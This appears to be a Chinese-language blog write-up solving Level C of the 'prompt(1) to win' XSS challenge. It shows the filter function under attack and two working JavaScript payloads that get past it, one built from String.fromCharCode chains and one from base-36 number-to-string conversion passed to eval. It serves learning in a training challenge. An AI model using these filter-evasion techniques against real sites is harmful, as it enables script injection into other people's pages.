【prompt(1) to win】 Level C - ノ┬─┬ノ ︵ ( \o°o)\



题目

function escape(input) {
    // in Soviet Russia...
    input = encodeURIComponent(input).replace(/'/g, '');
    // table flips you!
    input = input.replace(/prompt/g, 'alert');

    // ノ┬─┬ノ ︵ ( \o°o)\
    return '<script>' + input + '</script> ';
}

解题报告

这题与 【Level A - (╯°□°)╯︵ ┻━┻】 十分相似。

区别在于 replaceprompt 和 单引号 ' 的顺序反转了。

但是无论顺序如何,过滤后可以使用的字符都只剩下 a-zA-Z0-9.()!~*

因此这题直接使用 【Level A - (╯°□°)╯︵ ┻━┻】 的 payload 就可以 pass :

eval(String.fromCharCode(112).concat(String.fromCharCode(114)).concat(String.fromCharCode(111)).concat(String.fromCharCode(109)).concat(String.fromCharCode(112)).concat(String.fromCharCode(116)).concat(String.fromCharCode(40)).concat(String.fromCharCode(49)).concat(String.fromCharCode(41)))


但其实这题还有另一种更巧妙的解法。

在 JS 中存在一个函数 parseInt(str, radix)

默认情况下,radix = 10,即它可以把十进制的数字字符串转换成十进制数。

但是通过调整进制数 radix ,它可以把其他进制的字符串转换成十进制数。

而当 radix = 36 时。它可以把只包含 0-9a-z (大小写不敏感)的字符串转换成十进制数。

于是我们可以把 prompt 字符串转换成十进制数:parseInt("prompt", 36) ,得到 1558153217

而要将十进制数字还原成字符串,则可以使用另一个函数 toString(radix) (默认情况下 radix = 10 )。

即可以使用此方法 (1558153217).toString(36) 还原得到 prompt 字符串:

于是最开始的 payload 就开始简化成这样:

eval((1558153217).toString(36).concat(String.fromCharCode(40)).concat(1).concat(String.fromCharCode(41)))

注:【Level A - (╯°□°)╯︵ ┻━┻】 同样可以使用这个 payload 完成挑战。


答案下载


文章作者: EXP
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 EXP !
  目录